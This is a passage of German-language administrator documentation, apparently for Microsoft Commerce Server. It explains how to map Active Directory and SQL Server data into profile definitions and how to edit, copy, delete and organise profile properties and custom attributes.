Schritt 2: Hinzufügen des Active Directory-Benutzerobjekts

Sie erstellen ein Profildatenobjekt, um der Active Directory-Benutzerklasse eine Profileigenschaft zuzuordnen.

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog, Datenquellen und die Datenquelle Profildienst_ADQuelle_Test, die Sie im vorherigen Schritt erstellt haben, klicken Sie mit der rechten Maustaste auf Datenobjekte, und klicken Sie anschließend auf Neues Datenobjekt.
  2. Nehmen Sie im Dialogfeld Neues Datenobjekt die folgenden Einstellungen vor:
    Option | Aktion
    Objektname | Wählen Sie Benutzer aus. Dabei handelt es sich um die Active Directory-Benutzerklasse.
    Angezeigter Name | Geben Sie AD-Benutzerobjekt ein.
  3. Klicken Sie auf OK.

Das Datenobjekt AD-Benutzerobjekt wird der Datenquelle Profildienst_ADQuelle_Test hinzugefügt.

Schritt 3: Hinzufügen von Datenelementen zum AD-Benutzerobjekt

Sie erstellen ein Profildatenelement, um ein Profileigenschaftsattribut einer Spalte in einer Tabelle in der Datenbank zuzuordnen, der Sie die Datenquelle zugeordnet haben. In diesem Beispiel fügen Sie dem im vorherigen Schritt erstellten Datenobjekt AD-Benutzerobjekt neun Datenelemente hinzu. Diese Datenelemente beziehen sich auf den Benutzernamen, das Benutzerkennwort und den allgemeinen Namen.

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog, Datenquellen und Profildienst_ADQuelle_Test, klicken Sie mit der rechten Maustaste auf AD-Benutzerobjekt, und klicken Sie dann auf Neues Datenelement.
  2. Nehmen Sie im Dialogfeld Neues Datenelement die folgenden Einstellungen vor:
    Option | Aktion
    Elementname | Wählen Sie cn aus.
    Angezeigter Name | Geben Sie Allgemeiner Name ein.
  3. Klicken Sie auf Hinzufügen.

    Standardmäßig ist das Datenelement cn als Erforderlich, Indiziert und Primärschlüssel gekennzeichnet.

    Hinweis

    • Das Datenelement SAMKontoname wird für jede Instanz der Benutzerklasse oder einer anderen von der Benutzerklasse der Active Directory-Datenquelle abgeleiteten Klasse benötigt. Das Datenelement SAMKontoname ist eine Zeichenfolgeneigenschaft, die eindeutig sein muss.
  4. Wiederholen Sie diesen Vorgang, um die folgenden Datenelemente hinzuzufügen:
    Elementname | Angezeigter Name | Typ
    SAMAccountname | Kontoname der Sicherheitskontenverwaltung | Zeichenfolge
    givenName | Vorname | Zeichenfolge
    Initials | Initialen | Zeichenfolge
    sn | Nachname | Zeichenfolge
    streetAddress | Straße | Zeichenfolge
    City | Ort | Zeichenfolge
    St | Bundesland/Kanton | Zeichenfolge
    postalCode | PLZ | Zeichenfolge
    co | Land/Region | Zeichenfolge
  5. Klicken Sie auf Abschließen.

Schritt 4: Erstellen der Active Directory-SQL-Benutzerprofildefinition

Sie verwenden das Datenobjekt AD-Benutzerobjekt, um Ihre benutzerdefinierte Profildefinition zu erstellen. Mit dieser Profildefinition werden Benutzerprofilinformationen gesammelt. Die meisten der Eigenschaften werden einer SQL Server-Datenbank zugeordnet. Der Benutzername und das Kennwort werden Active Directory zugeordnet.

Sie erstellen dieses Profil mit mehreren Quellen, indem Sie die gewünschten Eigenschaften auswählen und sie Datenelementen aus verschiedenen Datenquellen zuordnen.

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog, Datenquellen, Profildienst_ADQuelle_Test und Datenobjekte, klicken Sie mit der rechten Maustaste auf AD-Benutzerobjekt, zeigen Sie auf Neu, und klicken Sie dann auf Neues Profil_Definition.
  2. Nehmen Sie im Dialogfeld Neue Profildefinition die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie AD_SQL_User ein.
    Angezeigter Name | Geben Sie AD_SQL_Benutzer ein.
    Beschreibung | Geben Sie Folgendes ein: Benutzerprofildefinition, die AD- und SQL-Quellen verwendet.
  3. Klicken Sie auf Weiter.
  4. Klicken Sie im Dialogfeld Benutzerdefinierte Attribute auf Fertig stellen. (In diesem Beispiel werden keine benutzerdefinierten Attribute erstellt.)

Die neue Profildefinition wird in Commerce Server-Manager in der Liste der verfügbaren Profildefinitionen angezeigt.

Schritt 5: Hinzufügen von Eigenschaftsgruppen zu "AD_SQL_Benutzer"

Um die Profildefinition leichter lesbar zu machen, können Sie separate Gruppen für die Active Directory- und die SQL Server-Eigenschaften erstellen. Bevor Sie der Profildefinition AD_SQL_Benutzer die SQL Server-Eigenschaften hinzufügen, müssen Sie die Datengruppen erstellen.

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, und klicken Sie dann mit der rechten Maustaste auf AD_SQL_Benutzer. Die Liste Eigenschaften wird im rechten Fensterbereich angezeigt.
  2. Klicken Sie auf Hinzufügen.
  3. Wählen Sie im Dialogfeld Hinzufügen – Webseite die Option Neue Gruppe hinzufügen aus, und klicken Sie dann auf OK.
  4. Führen Sie im Bereich Attribute folgende Schritte aus:
    Option | Aktion
    Name | Geben Sie ADGroup ein.
    Angezeigter Name | Geben Sie Active Directory ein.
  5. Klicken Sie auf Übernehmen.
  6. Wählen Sie in der Liste Eigenschaften die soeben erstellte Gruppe Active Directory aus, und klicken Sie dann auf die Schaltfläche mit dem nach oben weisenden Pfeil im unteren Bereich des Dialogfelds. Klicken Sie wiederholt auf die Schaltfläche, bis sich die Gruppe Active Directory über allen anderen Eigenschaften an erster Stelle in der Liste Eigenschaften befindet.
  7. Klicken Sie auf den Richtungspfeil links neben Active Directory, sodass dieser nach unten weist. Dadurch wird der Knoten erweitert, und die Gruppe wird auf das Annehmen von Eigenschaften vorbereitet.
  8. Klicken Sie auf die erste Eigenschaft unter Active Directory. Wenn Sie die Anweisungen genau befolgt haben, handelt es sich dabei um die Eigenschaft Allgemeiner Name.
  9. Klicken Sie dann auf die Schaltfläche mit dem nach oben weisenden Pfeil im unteren Bereich des Dialogfelds. Der Eigenschaftsname wird unter Active Directory eingerückt angezeigt. Dadurch wird die Eigenschaft in die Gruppe Active Directory eingefügt.

    Wählen Sie für alle übrigen Eigenschaften jeweils den Namen der Eigenschaft aus, und klicken Sie dann auf die Schaltfläche mit dem nach oben weisenden Pfeil.

  10. Um der Eigenschaftsdefinition die SQL Server-Gruppe hinzuzufügen, klicken Sie auf die Schaltfläche Hinzufügen.
  11. Führen Sie im Bereich Attribute folgende Schritte aus:
    Option | Aktion
    Name | Geben Sie SQLGroup ein.
    Angezeigter Name | Geben Sie SQL Server ein.
  12. Klicken Sie auf Übernehmen.
  13. Um den Namen der Gruppe SQL Server nach links zu verschieben, klicken Sie auf die Schaltfläche mit dem nach unten weisenden Pfeil im unteren Bereich des Dialogfelds.

Die von Ihnen hinzugefügten Eigenschaften sind in den neuen Eigenschaftsgruppen zusammengefasst.

Schritt 6: Hinzufügen von SQL Server-Eigenschaften zu "AD_SQL_Benutzer"

Sie haben eine Profildefinition mit dem Namen AD_SQL_Benutzer erstellt, die über zwei Eigenschaftsgruppen verfügt: Active Directory und SQL Server. Sie haben bereits die Active Directory-Eigenschaften hinzugefügt. Nun müssen Sie die SQL Server-Eigenschaften hinzufügen.

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, und klicken Sie dann mit der rechten Maustaste auf AD_SQL_Benutzer.
  2. Klicken Sie im Profildefinitionsfenster in der Liste Eigenschaften auf Allgemeiner Name. Die Eigenschaftsattribute werden auf der rechten Seite angezeigt.
  3. Führen Sie im Bereich Erweiterte Attribute folgende Schritte aus:
    Option | Aktion
    Schlüsseltyp Wählen Sie Dualer (Primär- und Verbindungs-) Schlüssel. Beim Verwenden von mehreren Datenquellen in einer Profildefinition muss ein Verbindungsschlüssel erstellt werden, der beiden Quellen zugeordnet wird.

    Wichtig

    • Nachdem Sie einen Verbindungsschlüssel gespeichert haben, können Sie ihn nicht mehr ändern.
    Daten zuordnen | Klicken Sie auf die Schaltfläche mit den Auslassungspunkten [...]. Erweitern Sie im Dialogfeld Datenquellenauswahl nacheinander Profildienst_ADQuelle_Test und AD-Benutzerobjekt. Wählen Sie zunächst Profildienst_ADQuelle und dann Benutzerobjekt aus. Erweitern Sie Profildienst_ADQuelle_Test, und wählen Sie Benutzer.
  4. Halten Sie die STRG-Taste gedrückt, und wählen Sie sowohl u_logon_name (unter Benutzerobjekt) als auch cn (unter AD_SQL_Benutzer) aus. Klicken Sie dann auf OK, um das Dialogfeld Datenquellenauswahl zu schließen.

    Beide Eigenschaften werden im Feld Daten zuordnen angezeigt.

  5. Aktivieren Sie im Abschnitt Erweiterte Attribute das Feld RDN, und klicken Sie auf Übernehmen.

    Die Verbindungsschlüsseleigenschaften werden als RDN (Relative Distinguished Name) für das Profil bezeichnet. Der RDN muss vorhanden sein, damit Sie ein gültiges Profil erstellen können, das einer LDAPv3-Quelle wie Active Directory zugeordnet werden kann. (Dies ist für OLE DB-Quellen wie SQL Server nicht erforderlich.)

  6. Klicken Sie in der Liste Eigenschaften auf den Richtungspfeil links neben SQL Server und dann auf Hinzufügen.
  7. Wählen Sie im Dialogfeld Hinzufügen – Webseite die Option Neue Eigenschaft hinzufügen aus, und klicken Sie dann auf OK.
  8. Wählen Sie in der Liste Eigenschaften den Eintrag Neue Eigenschaft 1 aus.

    Fügen Sie der Profildefinition AD_SQL_Benutzer die Eigenschaften in der folgenden Tabelle für neue Eigenschaften hinzu.

    Name | Angezeigter Name | Typ | Daten zuordnen
    u_user_security_password | Kennwort | Zeichenfolge | Kennwort
    i_account_status | Kontostatus | Zahl | Kontostatus
    u_user_catalog_set | Katalogsatz | Zeichenfolge | Benutzerkatalogsatz
    d_data_registered | Registriert am | Datum/Uhrzeit | Erstellt am
    i_partner_desk_role | Partnerservicerolle | Zahl | Partnerservicerolle
    d_date_last_changed | Zuletzt geändert am | Datum/Uhrzeit | Zuletzt geändert am
  9. Nehmen Sie im Abschnitt Attribute die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie den programmtechnischen Namen der Eigenschaft aus der Spalte Name in der vorherigen Tabelle ein.
    Angezeigter Name | Geben Sie den angezeigten Namen der Eigenschaft aus der Spalte Angezeigter Name in der vorherigen Tabelle ein.
    Typ | Wählen Sie in der Dropdownliste den Eigenschaftstyp der Eigenschaft aus der Spalte Typ in der vorherigen Tabelle aus.
  10. Klicken Sie im Abschnitt Erweiterte Attribute auf die Schaltfläche mit den Auslassungspunkten [...] für Daten zuordnen. Navigieren Sie zum SQL Server-Benutzerobjekt, und wählen Sie das Datenelement für die Eigenschaft aus der Spalte Daten zuordnen in der vorigen Tabelle aus.
  11. Klicken Sie auf Übernehmen, um die von Ihnen an der Eigenschaft vorgenommenen Änderungen zu übernehmen.

    Wiederholen Sie die Schritte 7 bis 11, bis Sie alle Eigenschaften in der Tabelle für neue Eigenschaften hinzugefügt haben.

  12. Klicken Sie zum Speichern der Profildefinition auf der Symbolleiste auf [image].

Wenn in Ihrer Website die Profildefinition AD_SQL_Benutzer verwendet wurde, werden die Daten sowohl in einer SQL Server-Datenbank als auch in einer Active Directory-Datenbank gespeichert.


Ändern einer Profildefinition

Sie können den angezeigten Namen und die Beschreibung einer Profildefinition sowie die benutzerdefinierten Attribute ändern.

So ändern Sie eine Profildefinition

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, klicken Sie mit der rechten Maustaste auf die Profildefinition, die Sie ändern möchten, und klicken Sie dann auf Eigenschaften.
  2. Führen Sie im Dialogfeld Eigenschaften von <Profildefinition> auf der Registerkarte Allgemein folgende Schritte aus:
    Option | Aktion
    Angezeigter Name | Bearbeiten Sie den Namen der Profildefinition. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Bearbeiten Sie die Beschreibung der Profildefinition. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
  3. Führen Sie auf der Registerkarte Benutzerdefinierte Attribute folgende Schritte aus:
    Option | Aktion
    Neu | Klicken Sie auf diese Option, um das Dialogfeld Benutzerdefiniertes Attribut zu öffnen und ein neues benutzerdefiniertes Attribut hinzuzufügen.
    Bearbeiten | Klicken Sie auf diese Option, um das Dialogfeld Benutzerdefiniertes Attribut zu öffnen und das angegebene benutzerdefinierte Attribut zu bearbeiten.
    Löschen | Klicken Sie hierauf, um das ausgewählte benutzerdefinierte Attribut zu löschen.
  4. Nehmen Sie im Dialogfeld Benutzerdefinierte Attribute die folgenden Einstellungen vor:
    Option | Aktion
    Angezeigter Name | Geben Sie den Namen ein, der angezeigt werden soll, oder bearbeiten Sie den Namen für das Attribut. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung des Attributs ein, oder bearbeiten Sie die Beschreibung. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
    Wert | Geben Sie den Wert des Attributs ein, oder ändern Sie den Wert.
Hinweis
  • Sie können den angezeigten Namen einer Profildefinition ändern. Der programmtechnische Name einer Profildefinition kann jedoch nicht geändert werden.
  1. Um die Änderungen zu speichern und zum Dialogfeld Eigenschaften zurückzukehren, klicken Sie auf OK.
  2. Um Ihre Änderungen zu speichern und zu Commerce Server-Manager zurückzukehren, klicken Sie erst auf Übernehmen und dann auf OK.

Die Profildefinition wird einschließlich der Änderungen gespeichert.


Kopieren einer Profildefinition

Sie können eine vorhandene Profildefinition kopieren und unter einem neuen Namen speichern.

Hinweis

  • Wenn Sie zum Erstellen einer neuen Profildefinition eine vorhandene Profildefinition kopieren, müssen Sie die in der folgenden Tabelle aufgeführten Eigenschaften aus Ihrer neuen Profildefinition löschen. Diese Eigenschaften gelten nur in der Profildefinition, in der sie ursprünglich erstellt wurden.
    Vorhandene Profildefinition | Eigenschaft
    Benutzerobjekt | Benutzerkatalogsatz
    Organisation | Organisationskatalogsatz

Wenn Sie diese Eigenschaften in Ihren neuen Profildefinitionen verwenden möchten, können Sie sie unter Verwendung derselben Profilattribute, die in den kopierten Profildefinitionen enthalten waren, neu erstellen. Informationen zum Erstellen neuer Eigenschaften finden Sie unter Hinzufügen von Eigenschaften zu einer Profildefinition.

So kopieren Sie eine Profildefinition

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, klicken Sie mit der rechten Maustaste auf das Profil, das Sie kopieren möchten, und klicken Sie dann auf Eine Kopie dieses Profils erstellen.
  2. Nehmen Sie im Dialogfeld Profildefinition kopieren die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie einen programmtechnischen Namen für die Profildefinition ein. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der für die Profildefinition angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für die Profildefinition ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
  3. Klicken Sie auf Weiter.
  4. Klicken Sie im Dialogfeld Benutzerdefinierte Attribute auf Neu.
  5. Nehmen Sie im Dialogfeld Benutzerdefiniertes Attribut die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie einen programmtechnischen Namen für das Attribut ein. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der für das Attribut angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für das Attribut ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
    Wert | Geben Sie den Wert ein, der dem Attribut zugewiesen werden soll.
  6. Klicken Sie auf OK, um die Profildefinition zu speichern.
  7. Klicken Sie auf Fertig stellen, um die Profildefinition zu speichern und zu Commerce Server-Manager zurückzukehren.

Die neue Profildefinition wird gespeichert.


Löschen einer Profildefinition

Vorsicht

  • Wenn Sie eine Profildefinition versehentlich löschen, müssen Sie sie neu erstellen. Wenn Sie eine Profildefinition löschen, können Sie sie nicht wiederherstellen.

So löschen Sie eine Profildefinition

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, klicken Sie mit der rechten Maustaste auf die Profildefinition, die Sie löschen möchten, und klicken Sie dann auf Löschen.
  2. Klicken Sie im Bestätigungsdialogfeld Profil löschen? auf Ja.

Die Profildefinition wird aus der Profilressource gelöscht.

So löschen Sie benutzerdefinierte Attribute aus Profildefinitionen

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, klicken Sie mit der rechten Maustaste auf die Profildefinition, aus der Sie ein benutzerdefiniertes Attribut löschen möchten, und klicken Sie anschließend auf Eigenschaften.
  2. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Benutzerdefinierte Attribute das zu löschende Attribut aus, und klicken Sie auf Löschen.

Das benutzerdefinierte Attribut wird aus der Profildefinition gelöscht.


Verwalten von Profileigenschaften in Profilressourcen

Mit der Profilressource können Sie Profileigenschaften ändern, organisieren, zuordnen und löschen, um die Daten zu aktualisieren, die über Ihre Website gesammelt werden sollen. Außerdem können Sie benutzerdefinierte Attribute einer Profileigenschaft ändern und löschen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Ändern einer Profileigenschaft
  • Organisieren von Profileigenschaften
  • Löschen von Eigenschaften aus einer Profildefinition
  • Ändern von benutzerdefinierten Attributen einer Profileigenschaft
  • Löschen von benutzerdefinierten Attributen aus einer Profileigenschaft
  • Zuordnen von Profileigenschaften zu Speicherorten


Ändern einer Profileigenschaft

Mit der Profilressource können Sie Profileigenschaften ändern, um die Daten zu aktualisieren, die Sie über Ihre Website sammeln möchten. Ein Beispiel: Sie erstellen eine Profildefinition mit einer Eigenschaft, die Sie zum Sammeln von Daten über die Bundesländer bzw. Kantone verwenden, in denen die Besucher Ihrer Website leben. Wenn Sie die mit dieser Profileigenschaft gesammelten Daten anzeigen lassen, stellen Sie fest, dass eine Eigenschaft mit dem Typ Zeichenfolge zum Sammeln von nützlichen Standortdaten über Ihre Benutzer nicht optimal ist. Sie können die Attribute der Eigenschaft im Profil-Designer-Fenster ändern, sodass mit der Eigenschaft nützlichere Daten gesammelt werden.

So ändern Sie eine Profileigenschaft

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, und klicken Sie dann auf die Profildefinition, die die Eigenschaft enthält, die Sie ändern möchten.
  2. Erweitern Sie in der Liste Eigenschaften die Eigenschaftsgruppe, die die zu ändernde Eigenschaft enthält, und klicken Sie dann auf die Eigenschaft, die Sie ändern möchten.

    Sie können auch auf die zu ändernde Eigenschaftsgruppe klicken.

  3. Nehmen Sie im Profil-Designer-Fenster im Abschnitt Attribute die folgenden Einstellungen vor:
    Option | Aktion
    Angezeigter Name | Bearbeiten Sie den Namen, der in Commerce Server Business Desk angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Bearbeiten Sie die Beschreibung der Eigenschaft. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
    Typ | Wählen Sie den Eigenschaftstyp aus. Der Standardeigenschaftstyp ist Zeichenfolge. Der Eigenschaftstyp dieses Attributs muss dem Typ des Datenelements entsprechen, dem das Attribut zugeordnet ist.
    Typverweis | Klicken Sie auf die Schaltfläche mit den Auslassungspunkten [...], um den Sitebegriff bzw. das Profil auszuwählen, der bzw. das der Eigenschaftsdefinition hinzugefügt werden soll. Diese Funktion steht nur zur Verfügung, wenn Sie den Typ Sitebegriff bzw. Profil ausgewählt haben.
  4. Klicken Sie im Profil-Designer-Fenster im Abschnitt Erweiterte Attribute auf Aktiv, wenn diese Eigenschaft in Business Desk verfügbar sein soll. Inaktive Eigenschaften werden in Business Desk nicht angezeigt.
  5. Klicken Sie im Feld Daten zuordnen auf die Schaltfläche mit den Auslassungspunkten [...], um das Dialogfeld Datenquellenauswahl zu öffnen, und wählen Sie dann das Datenelement aus, dem die Eigenschaft zugeordnet werden soll.
  6. Erweitern Sie im Dialogfeld Datenquellenauswahl die Datenquelle, die das Datenobjekt mit dem Datenelement enthält, dem Sie die Eigenschaft zuordnen möchten.
  7. Erweitern Sie das Datenobjekt, das das Datenelement enthält, dem Sie die Eigenschaft zuordnen möchten, und wählen Sie das Datenelement aus.
  8. Klicken Sie auf OK.
  9. Nehmen Sie im Profil-Designer-Fenster im Abschnitt Erweiterte Attribute die folgenden Einstellungen vor:
    Option | Aktion
    Schlüsseltyp | Wählen Sie in der Dropdownliste einen Schlüsseltyp aus. Für jede Profildefinition ist eine Primärschlüsseleigenschaft und eine Verbindungsschlüsseleigenschaft erforderlich. Alternativ kann auch eine Eigenschaft als dualer (d. h. als Primär- und Verbindungs-) Schlüssel fungieren.
    Erforderlich | Legt fest, dass diese Eigenschaft in der Website und in Business Desk erforderlich ist. Dieses Attribut wird jedoch von der Profilressource nicht erzwungen. Wenn Sie einen Schlüsseltyp ausgewählt haben, ist dieses Attribut schreibgeschützt.
    Exportiert Wählen Sie diese Option aus, um festzulegen, dass diese Eigenschaft in das Data Warehouse von Commerce Server importiert wird. Nur zugeordnete Eigenschaften können exportiert werden.

    Der Export von mehrwertigen Eigenschaften mit dem Eigenschaftstyp Boolesch sowie von Eigenschaften des Typs Binärwert, Lange Zeichenfolge und Kennwort ist nicht möglich.
    Laden in den Zwischenspeicher verzögern | Wählen Sie diese Option aus, um festzulegen, dass diese Eigenschaft beim Abrufen des Profils zuerst nicht geladen wird. Die Eigenschaft wird erst geladen, wenn auf sie zugegriffen wird.
    Mehrwertig | Wählen Sie diese Option aus, um das Sammeln von mehreren Werten zu ermöglichen, die mit der Eigenschaft verknüpft sind. Wenn Sie einen Schlüsseltyp für die Eigenschaft ausgewählt haben, ist dieser Wert nicht verfügbar.
    Suche aktivieren | Wählen Sie diese Option aus, um festzulegen, dass diese Eigenschaft im zugrunde liegenden Datenspeicher indiziert ist und mit der Funktion Suchen nach durchsucht werden kann.
    RDN | Gibt den RDN (Relative Distinguished Name) für einen Verzeichnisspeicher an. Legen Sie diesen Wert fest, wenn die Eigenschaft einem Attribut des Typs RDN einer LDAP-Klasse im zugrunde liegenden Speicher zugeordnet ist.
    Hashschlüssel Wählen Sie diese Option aus, um festzulegen, dass diese Eigenschaft zum Verteilen von Profilinstanzen auf mehrere Datenquellenpartitionen verwendet wird.

    Bei nicht partitionierten Datenquellen ist diese Eigenschaft schreibgeschützt. Zum Abrufen von Profilen müssen Sie eine Abfrage nach diesem Schlüssel durchführen.
  10. Klicken Sie auf Übernehmen.
  11. Klicken Sie zum Speichern der Profildefinition auf der Symbolleiste auf [image].

Die Profildefinition wird einschließlich der Änderungen gespeichert.


Organisieren von Profileigenschaften

Sie können zur besseren Anordnung Eigenschaften und Eigenschaftsgruppen in der Liste Eigenschaften nach unten oder nach oben verschieben (organisieren). Wenn Sie beispielsweise drei Eigenschaftsgruppen zu einer Eigenschaftsdefinition hinzugefügt haben, können Sie die vorhandenen Eigenschaften in der Liste Eigenschaften nach oben und nach unten verschieben, bis sie sich in der für sie angelegten Eigenschaftsgruppe befinden.

So organisieren Sie Profileigenschaften

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, und klicken Sie dann auf die Profildefinition, die die Eigenschaften enthält, die Sie organisieren möchten.
  2. Wählen Sie in der Liste Eigenschaften die zu verschiebende Eigenschaft oder Eigenschaftsgruppe aus, und verwenden Sie dann die Schaltfläche mit dem nach unten weisenden Pfeil oder die Schaltfläche mit dem nach oben weisenden Pfeil, um die Eigenschaft oder Eigenschaftsgruppe in der Liste nach unten oder nach oben zu bewegen.
  3. Klicken Sie zum Speichern der Profildefinition auf der Symbolleiste auf Speichern .

Die Profildefinition wird einschließlich der Änderungen gespeichert, die Sie an der Reihenfolge der Eigenschaften und Eigenschaftsgruppen vorgenommen haben.


Löschen von Eigenschaften aus einer Profildefinition

Sie können Eigenschaften und Eigenschaftsgruppen löschen, wenn Sie sie in einer Profildefinition nicht benötigen. Dies ist z. B. der Fall, wenn Sie einer Profildefinition sieben Eigenschaften hinzufügen und dann feststellen, dass Sie in Ihrer Website nur sechs davon benötigen. Wenn Sie eine Eigenschaftsgruppe löschen, werden alle Eigenschaften in dieser Gruppe ebenfalls gelöscht.

So löschen Sie Eigenschaften aus Profildefinitionen

Vorsicht

  • Wenn Sie eine Profildefinition löschen, können Sie sie nicht wiederherstellen.
  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, und klicken Sie dann auf die Profildefinition, aus der Sie eine Eigenschaft löschen möchten.
  2. Wählen Sie in der Liste Eigenschaften die Eigenschaft oder Eigenschaftsgruppe aus, die Sie löschen möchten, und klicken Sie dann auf Entfernen.
  3. Klicken Sie im Bestätigungsdialogfeld Löschen? auf OK.
  4. Klicken Sie zum Speichern der Profildefinition auf der Symbolleiste auf Error! Filename not specified..

Die Profildefinition wird gespeichert. Die gelöschte Eigenschaft oder Eigenschaftsgruppe ist nicht mehr darin enthalten.


Ändern von benutzerdefinierten Attributen einer Profileigenschaft

Alle benutzerdefinierten Attribute einer Eigenschaft lassen sich ändern. Sie können ein benutzerdefiniertes Attribut bearbeiten, um den angezeigten Namen, die Beschreibung oder den Wert des Attributs zu ändern.

So ändern Sie benutzerdefinierte Attribute von Profileigenschaften

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, und klicken Sie dann auf die Profildefinition, die die Eigenschaft enthält, in der Sie ein benutzerdefiniertes Attribut ändern möchten.
  2. Wählen Sie in der Liste Eigenschaften die Eigenschaft aus, die das benutzerdefinierte Attribut enthält, das Sie ändern möchten.
  3. Klicken Sie im Profil-Designer-Fenster im Abschnitt Benutzerdefinierte Attribute auf Bearbeiten.
  4. Nehmen Sie im Profil-Designer-Fenster im Abschnitt Benutzerdefinierte Attribute die folgenden Einstellungen vor:
    Option | Aktion
    Name | Bearbeiten Sie den programmtechnischen Namen des Attributs. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Bearbeiten Sie den Namen, der für das Attribut angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Bearbeiten Sie die Beschreibung des Attributs. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
    Wert | Bearbeiten Sie den Wert des Attributs.
  5. Klicken Sie auf Annehmen und anschließend auf Übernehmen.
  6. Klicken Sie zum Speichern der Profildefinition auf der Symbolleiste auf Speichern.

Die Profildefinition wird einschließlich der Änderungen gespeichert.


Löschen von benutzerdefinierten Attributen aus einer Profileigenschaft

Sie können von einer Eigenschaft aus beliebige benutzerdefinierte Attribute bearbeiten oder löschen. Sie können ein benutzerdefiniertes Attribut bearbeiten, wenn Sie den angezeigten Namen, die Beschreibung oder den Wert des Attributs ändern müssen. Wenn Sie ein benutzerdefiniertes Attribut versehentlich löschen, müssen Sie es neu erstellen. Wenn Sie ein benutzerdefiniertes Attribut löschen, können Sie es nicht wiederherstellen.

So löschen Sie benutzerdefinierte Attribute aus Profileigenschaften

Vorsicht

  • Wenn Sie ein benutzerdefiniertes Attribut löschen, können Sie es nicht wiederherstellen.
  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, und klicken Sie dann auf die Profildefinition, die die Eigenschaft enthält, aus der Sie ein benutzerdefiniertes Attribut löschen möchten.
  2. Wählen Sie in der Liste Eigenschaften die Eigenschaft aus, die das benutzerdefinierte Attribut enthält, das Sie löschen möchten.
  3. Wählen Sie im Profil-Designer-Fenster im Abschnitt Benutzerdefinierte Attribute das zu löschende benutzerdefinierte Attribut aus, und klicken Sie auf Entfernen.

    Das benutzerdefinierte Attribut wird aus der Profileigenschaft gelöscht.

  4. Klicken Sie auf Übernehmen.
  5. Klicken Sie zum Speichern der Profildefinition auf der Symbolleiste auf Speichern.

Die Profildefinition wird einschließlich der Änderungen gespeichert.

Siehe auch

Informationen zur Profilressource

Hinzufügen von Eigenschaften zu Profildefinitionen


Zuordnen von Profileigenschaften zu Speicherorten

Profileigenschaften verwenden Datenelemente, um die von Benutzern Ihrer Website eingegebenen Daten dem entsprechenden Speicherort zuzuordnen. Wenn z. B. ein Benutzer einen Vornamen für die Eigenschaft Vorname der Profildefinition Benutzerobjekt eingibt, wird der Name in der Datenbankspalte gespeichert, die durch das Datenelement für die Eigenschaft Vorname angegeben wird.

Profileigenschaften einer einzelnen Profildefinition können den Datenelementen verschiedener Datenquellentypen zugeordnet werden. Stellen Sie sicher, dass für das zuzuordnende Datenobjekt ein Datenelement als Primärschlüssel vorhanden ist.

So ordnen Sie eine Profileigenschaft einem Speicherort zu

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, und klicken Sie dann auf die Profildefinition, die die Eigenschaft enthält, die Sie eine, Speicherort zuordnen möchten.
  2. Erweitern Sie im Fenster Profil-Designer in der Liste Eigenschaften die Eigenschaftsgruppe, die die zuzuordnende Eigenschaft enthält, und wählen Sie dann die Eigenschaft aus.
  3. Klicken Sie im Abschnitt Erweiterte Attribute des Profil-Designer-Fensters im Feld Daten zuordnen auf die Schaltfläche mit den Auslassungspunkten [...], um das Dialogfeld Datenquellenauswahl zu öffnen.
